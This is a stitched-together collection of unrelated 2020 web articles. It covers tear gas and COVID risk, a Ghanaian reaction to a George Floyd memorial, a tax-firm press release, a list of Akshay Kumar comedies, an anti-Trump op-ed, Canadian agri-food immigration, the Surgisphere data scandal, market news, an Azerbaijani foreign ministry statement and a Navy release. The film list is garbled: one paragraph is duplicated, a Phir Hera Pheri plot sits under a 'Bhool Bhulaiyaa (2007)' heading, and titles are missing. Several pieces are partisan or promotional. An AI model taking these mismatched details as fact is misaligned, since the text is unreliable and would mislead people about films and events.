In the case of George Floyd protesters, irritation could lead to coughing to help them expel the chemicals, along with other behaviors that can help the coronavirus spread quickly among tightly-packed protesters, according to Dr. Peter Chin-Hong, an infectious disease specialist from the University of California, San Francisco (UCSF).

Additionally, the irritants in a tear gas could also leave the respiratory tract more vulnerable to COVID-19.

"There are two groups of people in terms of how it might increase COVID transmission," the specialist said. "People who may have COVID - maybe they know it, maybe they don't, if they are asymptomatic - when you use tear gas or pepper spray or an irritant designed to make people cough or sneeze, the droplets get superpowers, and they're going to travel further."

The specialist explained further, saying that the next group is those who don't have the virus.

In the event of a tear gas attack, they would have to remove their masks as health experts suggest; otherwise, the chemicals will continue irritating the eyes, nose, and mouth.

They would also most likely rub their eyes, noses, and mouths, which is something you're not supposed to do during this pandemic as it could increase your risks of getting the viral infection as the virus enters through these parts.

Stripping Our Defenses

Worst, tear gas may also remove the body of its defenses against pathogens, although it hasn't been scientifically tested with the SARS-CoV-2 virus.

Chemicals in a tear gas could affect the mucous membrane in the nose and mouth that protect our body from foreign objects and various pathogens from our environment.

According to the Centers for Disease Control and Prevention (CDC), prolonged exposure to tear gas chemicals could also heighten risks for asthma, cataracts, respiratory failure, and internal chemical burns that could be fatal.

Besides tear gas, Dr. Chin-Hong and other health experts are also urging the police to stop using pepper spray.

Read Also: COVID-19 UPDATE: 99% of coronavirus Can be Killed by Copper and Silver; Anti-Viral Doorknob Coating Neutralizes COVID-19 in Seconds

 2021 TECHTIMES.com All rights reserved. Do not reproduce without permission.
Member of the ruling New Patriotic Party (NPP) Kwame Asare Obeng popularly known as A Plus is wondering why the government of Ghana has organised a memorial and wreath-laying ceremony for the late George Floyd when nothing of the sort was done for the many Ghanaian lives lost either through accidents or brutalities.

George Floyd was an African American who was gruesomely killed by a white American police officer in the USA on 25 May 2020.

Floyd, who told the white cop he could not breathe while he knelt on his neck, has sparked protests across the US for the past 10 days.

In Ghana, on Friday, 5 June 2020, the Ministry of Tourism, Arts and Culture in collaboration with the Ghana Tourism Authority, Office of Diaspora Affairs and the Diaspora African Forum has organised a memorial and wreath-laying ceremony at the W. E. B. Du Bois Memorial Centre for Pan-African Culture in honour of Floyd with an invitation to African Americans to re-settle in Ghana if they feel unwanted in the USA.

Reacting to this in a Facebook post, A Plus who is also a musician, said: The government of Ghana is holding a ceremony in honor of George Floyd but government has not been able to tell us why police shot and killed 7 unarmed Zongo boys in Kumasi and what has become of the investigation because Zongo lives don't matter.

3 girls went missing in Takoradi but we didn't hold a ceremony to honour them because Takoradi lives don't matter. An unarmed man was shot and killed at Ashaiman during the lockdown but Ashaiman lives don't matter.

70 Ghanaians died in one accident at Kintampo. We didn't hold an event to honor them. We didn't even do DNA to identity those who were burnt beyond recognition so that their families could give them a befitting burial. We just dug a mass grave and pushed all of them into it. That was the end.

Today, we are holding a ceremony in Ghana to honour George Floyd. But this same government sent police to brutalise peaceful protesters in Adenta who were protesting for a footbridge. Ghanaians are not blacks. Their lives don't matter!!! One day all of us will know who really cares about this country and its people. May God grant all of us long life!!! he added.

---classfmonline
The announcement kicks off Tax Hive's launch of a refreshed, multi-faceted marketing campaign, which will include ads and updated website and collateral. Together with O'Leary, the company will continue to focus efforts on educating business owners about how the tax code can benefit them and their business, as well as provide other necessary business and business owner services for their clients.

According to Chief Marketing Officer Greg Gordon, "Our research reinforced the widespread recognition and respect that Kevin O'Leary has garnered among business owners and entrepreneurs. We believe he is the best partner we could ask for and we're thrilled to have him on board."

Kevin O'Leary's impressive reputation has been built upon his entrepreneurial vision, investment smarts and drive to succeed. O'Leary is the son of a United Nations ILO official, which contributed greatly to his diverse cultural and educational experiences. The combination of Kevin's mother's family heritage as merchants, and his father's Irish charisma, truly meant that O'Leary was born for business. Kevin learned most of his business intuition from his mother. She taught him key business and financial insights from an early age. These became Kevin's core philosophies, and the pillars upon which he would one day build his empire.

Tax Hive Partner Joel Jensen (CPA) added, "Partnering with Kevin is an advantage to our business and to our customers. Kevin is someone business owners trust and with whom they feel a connection." He explained, "I am confident that Kevin, with his stature and credibility, will greatly assist us in continuing the conversation about the importance of winning the tax planning, tax compliance, asset protection, and business support game. He has been a welcome guest in American households for over a decade and his record of success speaks for itself. We're proud he's partnered with us and is part of the team."

About his new role, O'Leary said, "I am excited to partner and invest in Tax Hive because I know small business is the backbone of our economy. I'm an advocate for small business, the voice for them and I believe small business owners should have the same tax advantages that big businesses have but at an affordable price. It has been, after all, my use of professionals who understand the tax code, the opportunities, that has been a key factor to my business growth and success. As a small business owner, Tax Hive is the best source you can turn to."

About Tax Hive

Tax Hive is a leading source for business tax preparation, estate planning and asset protection. We know that many business owners spend very little time with their tax accountant and in so doing bring on more risk of an audit. We believe in forward taxation planning because we don't like doing taxes in the rearview mirror. We give our clients access to our professional CPAs and tax filers on a year-round basis, without the hourly cost.

To learn more about Tax Hive and how we can help you and your business, please visit us at http://www.taxhive.com, on Facebook, Instagram, Twitter, LinkedIn, and YouTube.

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Cast: Akshay Kumar, Sunil Shetty, Paresh Rawal



Neeraj Vora took over the directors reins from Priyadarshan and Bipasha Basu and Rimi Sen were the new additions to the film. The central plot takes inspiration from the Hollywood film Lock, Stock and Two Smoking Barrels. Raju is conned by Anuradha (Bipasha Basu), to invest his money in a 21-day double your money scheme. He also convinces Babu Bhaiyya (Paresh Rawal) and Shyam (Sunil Shetty) to invest in it. They even sell their lavish bungalow for that. He even asks a small-time goon, Pappu (Rajpal Yadav) to contribute 20 lakhs towards the scheme. They are asked by Pappus boss Tiwari (Sharat Saxena), to cough up the money soon otherwise theyll be killed. They come across a drug consignment and go to a middleman Kachara Seth (Manoj Joshi), who arranges to unknowingly sell it to same mafia guys whom the drugs were meant for. The whole shebang ends in a circus where Raju, Shyam and Babu Bhaiyya escape with three ancient guns worth crores. The film ends just when Raju is poised to throw the guns in a river.



5. Bhool Bhulaiyaa (2007)



Director: Neeraj VoraCast: Akshay Kumar, Sunil Shetty, Paresh RawalNeeraj Vora took over the directors reins from Priyadarshan and Bipasha Basu and Rimi Sen were the new additions to the film. The central plot takes inspiration from the Hollywood film Lock, Stock and Two Smoking Barrels. Raju is conned by Anuradha (Bipasha Basu), to invest his money in a 21-day double your money scheme. He also convinces Babu Bhaiyya (Paresh Rawal) and Shyam (Sunil Shetty) to invest in it. They even sell their lavish bungalow for that. He even asks a small-time goon, Pappu (Rajpal Yadav) to contribute 20 lakhs towards the scheme. They are asked by Pappus boss Tiwari (Sharat Saxena), to cough up the money soon otherwise theyll be killed. They come across a drug consignment and go to a middleman Kachara Seth (Manoj Joshi), who arranges to unknowingly sell it to same mafia guys whom the drugs were meant for. The whole shebang ends in a circus where Raju, Shyam and Babu Bhaiyya escape with three ancient guns worth crores. The film ends just when Raju is poised to throw the guns in a river.

Akshay Kumar has recently been crowned by Forbes as the top Indian celebrity to earn the highest amount of money this year. Hes the only Indian in the worlds highest-paid celebrity list. Akshay owes much of his success to his comedy films. From being a top action star, he moved towards doing comedy from the year 2000 and reaped rich dividends. Presenting a list of some offrom the last two decades for your viewing pleasure. Enjoy!Director: PriyadarshanCast: Akshay Kumar, Sunil Shetty, Paresh Rawal, TabuThe story of this laugh riot is adapted from the 1989 Malayalam film Ramji Rao Speaking which was based on the 1971 television film See The Man Run. A sequel Phir Hera Pheri was released in 2006. The comedy revolved around a wrong number being answered which leads to all kinds of misadventures. Babu Bhaiya (Paresh Rawal), a kind-hearted garage owner has two tenants, Raju (Akshay Kumar), who is indulging in get rich quick schemes all the time and Shyam (Suni Shetty), who has come to the city to get a job in place of his deceased father. One day Kabeera (Gulshan Grover) gives a ransom call to the owner of Star Fisheries, Mr Devi Prasad (Kulbhushan Kharbanda). The call, however, gets connected to Babu Bhaiya. Kabeera, informs that his granddaughter Rinku is kidnapped and asks for a ransom. When Raju gets to know this, he calls Devi Prasad pretending to be Kabira and asks for an even bigger amount.This leads them to all kinds of mayhem but in the end, they thankfully end up rescuing Rinku and also get rich in the process.Director: David DhawanCast: Salman Khan, Akshay Kumar, Priyanka ChopraSameer Malhotra (Salman Khan) has anger management issues. He keeps getting in trouble because of that. He even sours his relations with Colonel Jugraj Singh (Om Puri), the father of Rani Singh (Priyanka Chopra), the woman he loves. Sunny (Akshay Kumar) enters at this stage. He too likes Rani and taking advantage of Sameers condition, deliberately sets traps that portray him in a bad light. Sunny wins everyones heart with his good behaviour while Sameer falls down further in everyones esteem. Later, its revealed that Sunny is actually Sameers childhood friend Arun who did all this to cure his friend of his anger issues. He helps Sameer get reunited with Rani and all ends well.Director: PriyadarshanCast: Akshay Kumar, John Abraham, Rimi Sen, Neha Dhupia, Paresh Rawal and Rajpal YadavIt is a remake of Priyadarshans Malayalam film Boeing Boeing (1985). Akshay and John play rival photographers who are always looking to put the other down. Akshay becomes engaged to three girls simultaneously in Johns absence. When John returns, hes at first consumed by jealousy but later tries to help his friend keep the three women apart and becomes romantically entangled with them. All hell breaks loose when Macs actual fiance comes visiting. How the two friends defuse the situation forms the crux of the story. This raunchy comedy had John facing off Akshay Kumar in the hot bod department. Their rivalry was the main attraction of the film. Paresh Rawal and Rajpal Yadav too shone in their respective roles.Director: PriyadarshanCast: Akshay Kumar, Vidya Balan, Shiny Ahuja, Amisha PatelThisis a remake of the 1993 Malayalam film, Manichitrathazhu. Siddharth (Shiney Ahuja) and Avni (Vidya Balan), the son and daughter-in-law of Badri's (Manoj Joshi) elder brother, return to their native village from the US and decide to stay in their ancestral palace. Badri is against this as the palace is said to be haunted. What Badri fears, happens. Avni gets possessed by the spirit of Manjulika, a Bengali classical dancer. Siddharth calls his friend, psychiatrist Dr Aditya Shrivastav (Akshay Kumar) from New York, to sort things out. Dr Aditya initially feels Siddharth's childhood love interest Radha (Ameesha Patel), who is Badri's adopted daughter, is behind all this but later finds his beliefs shaken when he himself experiences a supernatural encounter. Later, he solves the problem with the help of an elaborate charade.Director: Anees BazmeeCast: Feroz Khan, Akshay Kumar, Nana Patekar, Anil Kapoor, Katrina Kaif, Paresh RawalDr Ghunghroo (Paresh Rawal) wants his nephew Rajeev(Akshay Kumar) married to a good girl belonging to a decent family. Mafia dons Uday (Nana Patekar) and Majnu (Anil Kapoor) con him into thinking that theyre law-abiding citizens as they too want their sister Sanjana (Katrina Kaif) married to a person who belongs to a good family. Rajeev and Sanjana meet and fall in love. All seems to be going well when Ghungroo comes to know of the subterfuge. He sends his niece Ishika (Mallika Sherawat) as Rajeevs sweetheart in a bid to break off the marriage but both Uday and Majnu get smitten by Ishika. Rajeev meanwhile inspires Majnu and Uday to give up their life of crime. However, another mafia Don, RDX (Feroz Khan) and his son Lucky (Shereveer), too get embroiled in this madness. The film ends with a hilarious climax, inspired by the Charlie Chaplin film The Gold Rush (1925), where all parties are trapped in a cliff-facing house which starts collapsing.Director: Anees BazmeeCast: Akshay Kumar, Katrina Kaif, Sonu SoodHappy Singh (Akshay Kumar) is sent along with his friend Rangeela (Om Puri) to bring Lucky (Sonu Sood) back to Punjab. However, his tickets get mixed with those of Puneet (Ranveer Shorey) and he ends up going to Egypt, where he meets Sonia (Katrina Kaif) and falls in love with her. He eventually reaches Australia and finds out that Lucky is the uncrowned king of the Australian underworld. Owing to circumstances perpetuated by Happy, Lucky gets paralysed and somehow Happy gets his throne. Happy sets about reforming Luckys gang by making them help a distraught woman (Kirron Kher), who happens to be Sonias mother. Slowly, the gang gets reformed and want to give up their life of crime. Luckys brother Mika (Jaaved Jaffrey) doesnt like this development and wants to kill Happy and becomes the boss himself. However, at the last moment, hes stopped by Lucky, who is cured of his paralysis. Lucky agrees that he has been living the wrong kind of life and promises to reform himself and the film ends on a happy note for all.Director: Rohit DhawanCast: Akshay Kumar, John Abraham, Deepika Padukone, and Chitrangada SinghIt marked the directorial debut of Rohit Dhawan. Jignesh 'Jerry' Patel (Akshay Kumar) and Nikhil 'Nick' Mathur (John Abraham), live together in London. Jerry does odd jobs for a living while Nick has a proper corporate job. Both find themselves jobless due to recession. Jerry wants to look after his nephew who has lost his parents and Nick wants to marry his girlfriend and give her a good life. To work towards that aim, both join a male escort service and become extremely popular. However, Nicks girlfriend leaves him when she finds out hes an escort. And even Jerry is on the verge of losing the custody of his nephew. The duo, who have fallen off initially, unite to sort out their lives together and succeed in it. Again, the big draw of the film was Akshay and Johns male escort act, which literally set the screen on fire.Director: Subhash KapoorCast: Akshay Kumar, Huma Qureshi, Annu Kapoor, Saurabh Shuklawho, ridden by guilt, takes up a case involving false encounters by the police. He has never undertaken a case before, his knowledge of the courtroom proceedings is scratchy and hes up against one of the best defence lawyers in the city. But his persistence does pay off and he not only ends up uncovering the unlawful activities of the police, but he also ends up nabbing the real culprit. Fake encounters by the police are indeed a sad reality of our country. Hats off to director Subhash Kapoor for making a bold, sensitive film on such a hard-hitting subject. While the film is given a comedic treatment, its intentions are anything but. What the film is trying to say is that its become the practice of sorts to give the police a clean chit in sensitive cases. The judiciary tends to take a lenient view of things where extra-judicial killings of terrorists are involved. But care should be taken that no innocent gets harmed while taking action against insurgents. That the police shouldnt overstep their authority nor should it falsify facts. Akshay Kumar does full justice to his role as an inexperienced lawyer who nevertheless isnt short on courage. Annu Kapoors one-liners keep you in splits and Saurabh Shukla too is in fine form as the judge.Director: Raj MehtaCast: Akshay Kumar, Kareena Kapoor Khan, Diljit Dosanjh, Kiara Advaniis a comedy revolving around pregnancy. Varun Batra (Akshay Kumar) and Deepti Batra (Kareena Kapoor Khan) are an urban upper-middle-class couple from Mumbai trying hard to become pregnant. Honey Batra (Diljit Dosanjh) and Monika Batra (Kiara Advani) are another rich couple from Chandigarh who are also trying to have a baby. They both end up at a high-end IVF clinic run by Dr Joshi (Adil Hussain) and his wife (Tisca Chopra). Due to a similarity in their names, there is a mix up in the clinic and Deepti gets incubated with Honey's sperm and vice versa. The Mumbai Batras can't come to terms with the loud ways of the Chandigarh Batras. Thinking that the yuppie Batras might abort their baby, the rustic couple flies down to Mumbai and buys a house in the same building as Varun and Deepti. Whether the couples end up as friends and would get to reconcile their differences forms the crux of this comedy.
What title best describes Donald J. Trump? Whiner-in-Chief, Liar-in-Chief, Narcissist-in-Chief, Racist-in-Chief?

He IS a whiner. About how the coronavirus has defined him as inept, refusing to confront a pandemic that has already taken over 106,000 American lives, he whines, This is so unfair to me! Everything was going great. We were cruising to reelection!

He IS a liar. The Washington Post has documented over 19,000 lies (many repeated) since he became the 45th president of the United States. He repeatedly claims that he caused the best economy in the history of the world. Most recently: Mail ballots are a very dangerous thing for this country because theyre cheaters. They go and collect them. Theyre fraudulent in many cases. Not true, says Ari Berman, a leading expert on voting rights. This is a flat-out lie from the President. We have tons of data on the prevalence of voter fraud in this country, and its a very small problem.

He IS a narcissist. Some of the traits of narcissists?

1. Jealous and very competitive. Example: Largest inaugural crowd in history. (That also fits liar-in-chief category.) Undoing everything Obama did to make our country better.

2. Not empathetic. Example: Painful to Lori Klasutis family so many years after her accidental death, Trump accuses cable news host Joe Scarborough of murder. (Again, file this also under liar-in-chief category.)

3. Gets pleasure from putting others down. Examples: John McCains not a hero. Hillary Clinton is a skank. About Nancy Pelosi: Shes a mess, crazy.

4. Obsessed with power. Examples: Threatened North Korea with fire and fury like the world has never seen (before he fell in love with Kim Jung Un); Deployed American troops to our southern border to shoot (immigrants) in the legs if they tried to enter the United States; and Then I have an Article 2, where I have the right to do whatever I want as president.

5. Brags about superior self-worth: Im an extremely stable genius, I have the worlds greatest memory, No one reads the Bible more than me, and last, but definitely not least, I am the least racist person there is.

And here is where we find ourselves today. Amid the worst pandemic our country has seen in over 100 years, with over 40 million Americans out of work, Donald Trump has turned the peaceful protesters of the death of a black man in Minneapolis by a police officer using deadly force to subdue, into a rallying cry to arms for his MAGA mobs.

Now, while much (most, really) of what the president says falls under the auspices of idle threats (wipe Iran off the map?!?), his racist pronouncements validate labeling him as a racist: When the looting starts, the shooting starts. So yes, Donald Trump IS a racist. Racism makes a mockery of democracy, defined as government by the people (all the people). And overt racism by our president invites some citizens to embrace it, condone it and tolerate it.

We, as citizens of a democracy, have to be appalled that our president believes he has the supreme right to ignore, change and break laws enacted by the representatives of the people. We have to be appalled that his constant tweeting about FAKE NEWS and enemy of the people rants to denigrate the watchdog role of the press, one that is important to a functioning democracy, has police officers shooting rubber pellets at the media and arresting them. We have to be appalled that our democratically elected president claims to be best friends with the autocrats and dictators of the world: Vladimir Putin, Kim Jung Un, the Crown Prince of Saudi Arabia, Recep Erdogan of Turkey, all known for repressing, even killing their own people  accepting their denials of human rights violations over his own intelligence force. And yes, we have to be appalled that throughout the worst weekend of protests and rioting over the death of George Floyd since the 1960s, our Consoler-in-Chief remained silent.

But what can we, as appalled Americans, do to stem the tide of racism? What can we do to out-shout the person with the loudest voice in America? We can blame the Republican leaders in Washington and around the country for doing nothing to control a clearly mentally ill president. But that is not enough.

The new minister of our church has been conducting services on Facebook and YouTube because of the coronavirus restrictions. His sermon on Sunday was poignant and very personal because he grew up in Minneapolis, where George Floyd died last Monday. He implored us to do more than silently accept these troubling times. He encouraged us to speak truth to power, for the powerless.

Originated by the Society of Friends (Quakers) in 1955, Speaking truth to power is a non-violent political tactic, employed by dissidents against the received wisdom or propaganda of governments they regard as oppressive, authoritarian or an ideocracy. And the Grammarian website defines it thus: The phrase speak truth to power carries a connotation of bravery, of risking either the status quo, ones reputation or livelihood, or the wrath of the person one is confronting.

Did Pastor Bryan ask us to join protesters in Minneapolis and other cities? No. He asked us to carry in our hearts the love for all mankind that Jesus did. And perhaps to reject complacency and risk our own well-being to further the goal of racial equality.

Many of us are taught by our religion to obey the Second Commandment: Love your neighbor as yourself. All of us, as appalled Americans, are morally bound to speak truth to power, calling out the president for using racism to make a mockery of democracy.

Sandra Humphrey is a resident of Tomah.

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Canada has long struggled to find enough workers for its nearly $200 billion agri-food industry, which is why its new immigration pilot is long overdue.

Why Canada needs an Agri-Food Immigration Program Canada has long struggled to find enough workers for its nearly $200 billion agri-food industry, which is why its new immigration pilot is long overdue.

Why Canada needs an Agri-Food Immigration Program Canada has long struggled to find enough workers for its nearly $200 billion agri-food industry, which is why its new immigration pilot is long overdue.

Why Canada needs an Agri-Food Immigration Program Canada has long struggled to find enough workers for its nearly $200 billion agri-food industry, which is why its new immigration pilot is long overdue. Kareem El-Assal Aa Accessibility Font Style Serif

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Canadas recent launch of its Agri-Food Immigration Pilot is long overdue.

For decades, the country has struggled to find enough workers to support one of its most important industries. The agri-food industry results in $110 billion in domestic sales each year, plus an additional $65 billion in export sales. The industry supports 1 in every 8 jobs in Canada.

Talent shortages, however, have stunted the economic growth potential of agri-food.

A 2014 study found that there were 25,000 agri-food jobs left unfilled which resulted in $1.5 billion in lost economic output.

Due to talent shortages, the agri-food industry has become increasingly dependent on temporary foreign workers (TFWs).

Temporary visa holders previously accounted for 1 in every 20 workers within the agri-food industry. They now account for 1 in every 10 workers. They are forecast to account for 1 in every 5 workers within the coming years.

Find out if you are eligible for any Canadian immigration programs

Why not hire Canadians?

One may legitimately ask, why cant the agri-food industry hire more Canadians rather than relying on TFWs?

Its a good question.

The primary reason is that many Canadians do not want to work in the agri-food industry.

The work itself can be physically challenging and overtime is often required due to worker shortages.

Often, work sites are remote, making the commute fairly time-consuming. Sometimes the work is seasonal in nature, so Canadian workers look for more stable sources of employment.

Pay within certain occupations in the agri-food industry is competitive, but there is only so much more that the industry can pay its workers. The reason for that is if it hikes salaries to attract more Canadian workers, it would have to pass on the costs to consumers, who are likely unwilling to pay substantially higher prices for food.

Imagine the outrage if Canadians had to start paying $5 per apple, for example.

It is also important to remember that Canada is not the only country that faces these challenges. Countries such as the U.S., U.K., and Australia have also long depended on TFWs to staff their agri-food industries.

Further, one needs to understand that it is inconvenient for the Canadian agri-food industry to hire TFWs. Each year, employers submit government paperwork to justify why they need to hire TFWs, which is time-consuming, costly, and also uncertain. Uncertainties include whether the government will approve your application to hire TFWs, and whether TFWs can arrive to Canada in time to support your operational needs.

It would be far more convenient and less expensive for the agri-food industry to hire Canadian workers, but relying on them to meet the industrys needs has proven challenging due to the aforementioned reasons.

The Agri-Food Immigration Pilot is a good start

Over the next three years, Canada will admit up to 2,750 immigrants per year, plus their family members, under the pilot. Even if Canada welcomes this many immigrants in the next three years, it will not be enough to meet the industrys needs. We must remember that millions of Canadians will be retiring over the coming decade which will affect every industry, including agri-food.

Nonetheless, the launch of the pilot is a good start. Following consultations with the industry, Immigration, Refugees and Citizenship Canada (IRCC) has prioritized meat, animal, greenhouse, nursery, floriculture, and mushroom production occupations.

Enabling the industry to access a more stable supply of labour will help to alleviate worker shortages and support Canadas economic growth.

Canada is hoping to increase the industrys domestic sales to $140 billion and exports to $85 billion by 2025.

Hopefully the Agri-Food Immigration Pilot will help Canada achieve these targets.

Find out if you are eligible for any Canadian immigration programs

 2020 CIC News All Rights Reserved
(Photo by Jerod Harris/Getty Images for PTTOW!)

If youve loaded up Reddit this week, you might have noticed something different.

The SF-based social news aggregation site thats been called the front page of the internet has turned its smiling alien logo from orange color to black in support of the Black Lives Matter movement in the aftermath of the killing of George Floyd.
The data came from a company called Surgisphere, which claims to have granular patient-level information shared by 1,200 hospitals and health facilities on six continents. The founder and chief executive, Dr. Sapan Desai, was listed as an author on both papers.

Dr. Mehra, who is the medical director of the Brigham and Womens Hospital Heart and Vascular Center in Boston and has authored hundreds of publications, said in a statement that he became involved in the project because he felt a need to contribute to science during the pandemic.

Dr. Mehra said he was introduced to Dr. Desai through one of the co-authors, whom he did not identify, and was told about the existence of a mammoth private database of patient medical records compiled by Surgisphere. Dr. Mehra said he hoped the data could be used in rapid studies that improved outcomes of patients with Covid-19.

Dr. Desai furnished the statistics used in both the heart and hydroxychloroquine studies. Critics were quick to point out anomalies in both pieces of research, including implausible findings that should have been detected during the peer review process  like the registrys apparent inclusion of a large number of Covid-19 cases very early on in the pandemic, even in Africa, where few hospitals have electronic health records.

Many researchers were astonished to find out that such a database could exist, or that the gathering and analysis of tens of thousands of medical records on multiple continents could have been carried out so quickly.

In an interview earlier this week, Dr. Desai vigorously defended the Surgisphere database, saying that he was all for transparency but was bound to secrecy by contractual agreements with the hundreds of hospitals that are his clients, and therefore could not show anyone the raw data from his registry.

We did this because there was an opportunity to help, Dr. Desai said. Were not making any money from this, were doing it at our own expense. This is why I went into medicine.
Posted on Friday, June 05, 2020

A Message From President Mark A. Hussey

Nearly two weeks ago, the nation witnessed the tragic death of George Floyd. Mr. Floyd attended Texas A&M University-Kingsville. He was a Javelina.

Given how Mr. Floyds death has touched our community, this state and nation, Texas A&M University System Chancellor John Sharp has authorized System universities and agency heads to release any member of the faculty, staff or students on Monday, June 8, in observance of Mr. Floyds death. A memorial service will also be held in Houston from 12 to 6 p.m. on that day.

I encourage all Javelinas to use this day to reflect on what we all must do to treat everyone with respect and dignity and classes will be canceled. Campus will remain open with essential personnel only. Supervisors will notify essential personnel.

Catapult appointments will continue as scheduled Monday. Any cancellations should be made through Human Resources by emailing Sara Martinez sarah.martinez@tamuk.edu.

Mark A. Hussey

President, Texas A&M University-Kingsville


BRUSSELS/FRANKFURT/PARIS (dpa-AFX) - European markets ended on an upbeat note on Friday, as positive reaction to the ECB's asset-buying program, and surprisingly better-than-expected U.S. jobs data triggered hectic buying across the board.



On Thursday, the European Central Bank President Christine Lagarde's comments about the euro zone economy seeing a likely pronounced contraction this year hurt sentiment, making investors to ignore than massive addition to the already announced asset-buying program. However, the mood turned quite upbeat on the final session of the week and pushed up stock prices.



The pan European Stoxx 600 climbed up 2.48%. The U.K.'s FTSE 100 gained 2.25%, Germany's DAX surged up 3.36% and France's CAC 40 rose 3.71%, while Switzerland's SMI closed higher by 1.14%.



Among other markets in Europe, Austria, Belgium, Czech Republic, Finland, Greece, Ireland, Netherlands, Norway, Poland, Russia, Spain and Sweden ended stronger by 1 to 4%. Turkey closed modestly higher, while Portugal declined marginally.



In the U.K. market, Carnival soared nearly 20%. Melrose and IAG both gained more than 13%. Legal & General, Rolls-Royce Holdings and M&G gained 9 to 10%.



Royal Bank, Prudential, Whitbread, Standard Chartered, Centrica, BP, Glencore, Rotal Dutch Shell, Barclays, HSBC Holdings, TUI, Lloyds Banking Group, Meggitt and Aviva jumped 5 to 9%.



In the German market, Thyssenkrupp, Daimler, Continental, Lufthansa, Bayer, Volkswagen, Deutsche Bank, Infineon Technologies, Munich RE, Adidas and Allianz moved up 4 to 9%.



In France, Airbus shares soared 12.5%, Technip, Unibail Rodamco, Societe Generale, Renault, Peugeot, Sodexo and BNP Paribas gained 8 to 11.2%, while Credit Agricole, Total, Valeo, Kering, Legrand, Accor, Publicis Groupe and Cap Gemini surged up 5 to 6.5%.



In European economic news today, preliminary figures from Destatis showed Germany's manufacturing orders declined at a record pace in April, extending the trend from the previous month, as the coronavirus pandemic hurt demand severely.



New orders in manufacturing fell a seasonally and calendar-adjusted 25.8% from March, when they declined 15%, which was revised from 15.6%. Economists had forecast a 19.7% slump.



On a year-on-year basis, factory orders decreased a calendar-adjusted 36.6% year-on-year after a revised 15.4% decline in March.



UK house prices fell for a third successive month in May, though activity started picking up slightly, after the lockdown restrictions imposed to slow the spread of the coronavirus, or Covid-19, were partly eased.



The house price index decreased 0.2% after a 0.6% decline in April, monthly survey results from the Lloyds Bank subsidiary Halifax showed. Economists had forecast a 0.7% fall. In March, prices slid 0.3%.



The European Central Bank announced Thursday it will increase its Pandemic Emergency Purchase program by a further 600 billion euros ($676 billion) to support funding conditions in the real economy, especially for businesses and households. Markets were expecting a 500 billion euros increase.



Copyright RTT News/dpa-AFX

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By Akbar Mammadov

Azerbaijans Foreign Ministry Spokeswoman Leyla Abdullayeva has said that the Armenian authorities seek to consolidate the result of the occupation of Azerbaijans territories, adding that Yerevans occupation policies are at the heart of the discord between the two nations.

Abdullayeva made this remark in a press conference held on June 5.

Instead of eliminating the consequences of the war started by Armenia, the aggressor country's leadership's seeks to consolidate its consequences, that is the occupation of Azerbaijan's internationally recognized territories and attempts to continue the violation of the rights of hundreds of thousands of IDPs. It shows that those in charge of this country do not fully understand their responsibilities, and are indifferent to the future of their own country and its people.

Abdullayeva was commenting on the Armenian Foreign Ministrys recent statement on alleged anti-Armenian sentiments in Azerbaijan.

The experience shows that Armenia seeks to raise the issue of anti-Armenian sentiment in Azerbaijan at a time when its arguments are exhausted, and has no word to say.

However, the leadership of the occupying country, ignores the fact that Armenia's unfounded territorial claims and aggressive policy are at the root of this discord between the two nations in the region, and does not take any steps to eliminate the consequences of this hostility and conflict, pursues a blind policy far from reality, pragmatism and constructiveness, Abdullayeva said.

The spokeswoman stressed that as a result of this policy, Armenia may face serious consequences.

Furthermore, reminding that Armenia is responsible for the bloodshed of thousands of civilians, the destruction of their lives, the violation of the rights of hundreds of thousands of people, as well as the gross violation of international obligations Abdullayeva noted that Yerevan has no moral right to speak about law, rule or democracy, and moreover, has no moral right to report to others.

She reminded the international communitys condemnation of Armenias occupation of Azerbaijani territories well as its responsibility determined by the relevant decisions of the European Court of Human Rights.

She also emphasized that if the Armenian leadership, as stated in the statements of official Yerevan, thinks of peace and security in the region, then it must withdraw the occupying forces from the territories of Azerbaijan and prepare its population for peace.

Armenia must demostrate "political will at the negotiations table with concrete results. Because the patience of neither Azerbaijan nor international mediators is inexhaustible, added the spokeswoman.

Azerbaijan and Armenia are locked in a conflict over Azerbaijans Nagorno-Karabakh breakaway region, which along with seven adjacent regions was occupied by Armenian forces in a war in the early 1990s. More than 20,000 Azerbaijanis were killed and around one million were displaced as a result of the large-scale hostilities.

The OSCE Minsk Group co-chaired by the United States, Russia and France has been mediating the Armenian-Azerbaijani conflict since the signing of the volatile cease-fire agreement in 1994. The Minsk Groups efforts have resulted in no progress and to this date, Armenia has failed to abide by the UN Security Council resolutions (822, 853, 874 and 884) that demand the withdrawal of Armenian military forces from the occupied territories of Azerbaijan.

---

Akbar Mammadov is AzerNews staff journalist, follow him on Twitter: @AkbarMammadov97

Follow us on Twitter @AzerNewsAz
USS Theodore Roosevelt Departs Guam Mission Ready

Navy News Service

Story Number: NNS200604-01

Release Date: 6/4/2020 7:27:00 AM

From USS Theodore Roosevelt Public Affairs

APRA HARBOR, Guam (NNS) -- USS Theodore Roosevelt (CVN 71) departed Apra Harbor to continue its scheduled deployment in the Indo-Pacific, June 4.

The ship left Naval Base Guam and entered the Philippine Sea manned and ready to provide maritime security, maintain freedom of the seas in accordance with international law and customs, and operate with international partners and allies to promote regional stability and prosperity.

"Our forward presence and engagement play an essential role in strengthening the capabilities of Indo-Pacific nations and partners." said Rear Adm. Stu Baker, commander, Carrier Strike Group (CSG) 9.

Theodore Roosevelt is on a scheduled deployment to the U.S. 7th Fleet area of operations. The ship pulled into Apra Harbor, Guam, on March 27 and immediately implemented a phased and methodical approach to address a COVID-19 outbreak among its crew.

After successfully recovering the ship and the crew, then proceeding to requalify the air wing via carrier qualification, the Theodore Roosevelt team recovered the rest of the crew fit for the mission from the shore, flying the iconic words of James Lawrence 'Don't Give Up The Ship' flag from the port yardarm, representative of the 'fighting spirit' of the U.S. Navy Sailor.

"Returning to our mission in the Indo-Pacific after completing carrier qualifications is a significant milestone in Theodore Roosevelt's conditions-based recovery plan," said Capt. Carlos Sardiello, Theodore Roosevelt's commanding officer. "Our mission was to recover the ship and recover the crew. We did not give up the ship and now our focus is on combat readiness, safety, and wellness of the crew."

Underway, the carrier operates under a newly implemented COVID-19 standard operating procedure which establishes the guidelines, responsibilities, and procedures for the prevention and mitigation of COVID-19. The crew has modified numerous procedures including how they transit through the ship, expanded meal hours, and created new social distancing procedures for almost every at-sea evolution.

"The crew humbly prepared to go back to sea, they had a job to do, and they did it without hesitation," said Sardiello. "We have returned Theodore Roosevelt to sea as a symbol of hope and inspiration, and an instrument of national power because we are TR."

